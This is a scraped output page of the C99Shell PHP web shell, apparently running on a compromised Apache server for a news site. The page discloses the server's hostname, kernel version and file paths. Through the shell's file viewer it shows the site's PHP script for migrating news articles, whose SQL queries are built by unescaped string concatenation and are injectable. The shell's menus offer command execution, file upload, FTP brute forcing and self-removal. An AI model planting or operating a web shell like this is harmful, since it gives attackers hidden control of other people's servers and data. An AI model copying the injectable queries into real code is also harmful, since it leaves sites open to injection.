!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.29 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     importar-noticias-base-anterior.php (2.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
$pagina_actual
="productos";
$categoria_actual="importar-productos";
require_once(
"includes/config.php");
require_once(
"includes/funciones.php");

$cantidad_noticias=80;

$noticias_actuales $mysqli->query("
SELECT titulo
FROM noticia
"
);
$string_titulos="'La FIFA dijo &quot;no&quot;. ','Otro muerto en la Ruta Nº 5 ','Gravísima imputación','&quot;Sábado Gigante&quot; cumple 50 años al aire'";
while (
$item mysqli_fetch_assoc($noticias_actuales)){
    
$string_titulos.=",'".str_replace(array('"'"'"),"&quot;",$item["titulo"])."'";
}

//echo $string_titulos;

//echo "<br>";

$result $mysqli_anterior->query("
    SELECT count(1) AS cantidad
    FROM noticias
    WHERE REPLACE(REPLACE(titulo, '\'', '&quot;'), '\"', '&quot;') NOT IN (
$string_titulos)
    AND fecha < '2015-10-01'
"
);
$noticias_restantes mysqli_fetch_assoc($result);

$noticias $mysqli_anterior->query("
    SELECT id_noticia, fecha, REPLACE(REPLACE(titulo, '\'', '&quot;'), '\"', '&quot;')  AS titulo, noticia, categoria, copete, copetin
    FROM noticias
    WHERE REPLACE(REPLACE(titulo, '\'', '&quot;'), '\"', '&quot;') NOT IN (
$string_titulos)
    AND fecha < '2015-10-01'
    ORDER BY fecha DESC
    LIMIT 
$cantidad_noticias
"
);

$timestamp=time();

while (
$item mysqli_fetch_assoc($noticias)){

    echo 
$item["titulo"]."<br>";




    
$result $mysqli->query("
        SELECT id
        FROM categoria
        WHERE nombre LIKE '"
.$item["categoria"]."'
    "
);
    
$categoria mysqli_fetch_assoc($result);

    
$result=$mysqli->query("
    INSERT INTO noticia (fecha, titulo, copete, detalle, id_categoria, ultimo_momento, inicio, copetin)   
    VALUES (
    '"
.$item["fecha"]."',
    '"
.str_replace(array('"'"'"),"&quot;",$item["titulo"])."',
    '"
.str_replace(array('"'"'"),"&quot;",$item["copete"])."',
    '<p>"
.str_replace("\n","<br>",str_replace(array('"'"'"),"&quot;",$item["noticia"]))."</p>',
    '"
.$categoria["id"]."',
    'no',
    'on',
    '"
.$item["copetin"]."'
    )"
);    
    
    
$id=$mysqli->insert_id;

    echo 
"Migrada con exito: ".$id."<br>";

    
$fotos $mysqli_anterior->query("
        SELECT archivo
        FROM fotos_notas
        WHERE id_nota='"
.$item["id_noticia"]."'
    "
);    

    while (
$foto mysqli_fetch_assoc($fotos)){

        
$timestamp++;
        
$nombre_archivo=$timestamp.".jpg";

        
$archivo_foto="../../fotos_notas/media_".$foto["archivo"];
        
copy($archivo_foto,$carpeta_noticias_original.$nombre_archivo);//copio la original
        
copy($archivo_foto,$carpeta_noticias_thumb.$nombre_archivo);//copio la original

        
$result=$mysqli->query("
        INSERT INTO foto_noticia (id_noticia, nombre, orden)    
        VALUES (
        '"
.$id."',
        '"
.$nombre_archivo."',
        '99999'
        )"
);  
        
//la chica es demasiado chica
    
}

    
//echo "id_noticia anterior: ".$item["id_noticia"]; */
    //echo "inserte la noticia: ".$id;
}
echo 
"listo. <br>";
echo 
"Faltan ".$noticias_restantes["cantidad"]." noticias";


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0009 ]--